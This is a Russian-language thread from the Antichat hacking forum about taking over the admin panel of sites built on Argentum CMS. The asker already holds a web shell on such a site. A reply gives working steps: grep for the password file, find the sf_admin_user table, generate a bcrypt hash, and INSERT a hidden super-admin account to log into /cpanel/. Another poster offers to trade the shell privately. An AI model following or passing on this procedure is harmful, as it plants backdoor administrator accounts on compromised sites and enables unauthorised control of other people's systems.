ANTICHAT - Argentum CMS

ANTICHAT (https://forum.antichat.xyz/index.php)

- Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)

- - Argentum CMS (https://forum.antichat.xyz/showthread.php?t=426456)

В общем есть шелл на данном типе движка доступ к зарегистрированным пользователям. Но данные под панель администрирования не подходят. И собственно вопрос, где хранятся данные админ пользователей данного движка?

это просто студия, которая клепает сайты. http://argentum.ua/ru/portfolio

если нет в базе, значит лежат где-нибудь в файле

Я встречал на многих сайтах, что данные админа как правило находились в скрипте панели администрирования.

Вот я зашёл сюда /.../cpanel

http://s001.radikal.ru/i195/1506/90/f1e04b4c6e7a.jpg

А дальше где искать, уже все тут конфиги перерыл. Народ, подскажите!

P.S Данные db_user - не подходят!

Цитата:

Сообщение от Unknowhacker

↑
Я встречал на многих сайтах, что данные админа как правило находились в скрипте панели администрирования.
Вот я зашёл сюда
/.../cpanel
http://s001.radikal.ru/i195/1506/90/f1e04b4c6e7a.jpg
А дальше где искать, уже все тут конфиги перерыл. Народ, подскажите!
P.S
Данные db_user - не подходят!

шелл в лс

я сначала начал искать по файлам всяческими find и grep, а потом все же решил перепроверить.

есть там такая таблица: sf_admin_user, в ней такие колонки:

Код:

id    group_id    username    password    full_name    email    created_at    last_activity    is_active    is_super_admin

так вот в cpanel пускает, если is_super_admin = 1.

пароли там через функцию http://php.net/manual/ru/function.password-hash.php

ищем файл:

Код:

grep --exclude=*.o -rnw '/var/www/***/' -e "PASSWORD_BCRYPT"

/var/www/***/plugins/sfArgentumCMSPlugin/lib/password.php:12:    define('PASSWORD_BCRYPT', 1);

/var/www/***/plugins/sfArgentumCMSPlugin/lib/password.php:13:    define('PASSWORD_DEFAULT', PASSWORD_BCRYPT);

/var/www/***/plugins/sfArgentumCMSPlugin/lib/password.php:38:            case PASSWORD_BCRYPT:

/var/www/***/plugins/sfArgentumCMSPlugin/lib/password.php:159:            $return['algo'] = PASSWORD_BCRYPT;

/var/www/***/plugins/sfArgentumCMSPlugin/lib/password.php:184:            case PASSWORD_BCRYPT:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]switch ([/COLOR][COLOR="#0000BB"]$algo[/COLOR][COLOR="#007700"]) {
            case[/COLOR][COLOR="#0000BB"]PASSWORD_BCRYPT[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]$cost[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$options[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cost'[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$options[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cost'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"];
                if ([/COLOR][COLOR="#0000BB"]$cost[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$info[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'options'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'cost'[/COLOR][COLOR="#007700"]]) {
                    return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]

bcrypt, cost = 10

генерируем пасс себе

Код:

 10,

];

echo password_hash("pass", PASSWORD_BCRYPT, $options)."\n";

?>

$2a$10$Fnz2ze0gI7SYofxsluTrluK3GEQiFGS2Oy4kEbBo816 yEvRWHFGKS

добавим себя в базу:

Код:

INSERT INTO sf_admin_user (id, group_id, username, password, full_name, email, created_at, last_activity, is_active, is_super_admin) VALUES (667, 1, "antichat1", "$2a$10$Fnz2ze0gI7SYofxsluTrluK3GEQiFGS2Oy4kEbBo816yEvRWHFGKS", "lol1", "lol@lol.ru1", "2010-10-10 17:29:54", "2013-04-05 22:05:38", 1, 1);

готово, логинимся: ***/cpanel/

Что-то я не понял, я создал пхп-скрипт ввёл код.

Код:

 10,

];

echo password_hash("pass", PASSWORD_BCRYPT, $options)."\n";

?>

Сохраняю, обновляю страницу - белый экран. (Кодировка UTF-8)

Цитата:

Сообщение от Unknowhacker

↑
Что-то я не понял, я создал пхп-скрипт ввёл код.

Код:

 10,

];

echo password_hash("pass", PASSWORD_BCRYPT, $options)."\n";

?>

Сохраняю, обновляю страницу - белый экран. (Кодировка UTF-8)

https://www.dailycred.com/article/bcrypt-calculator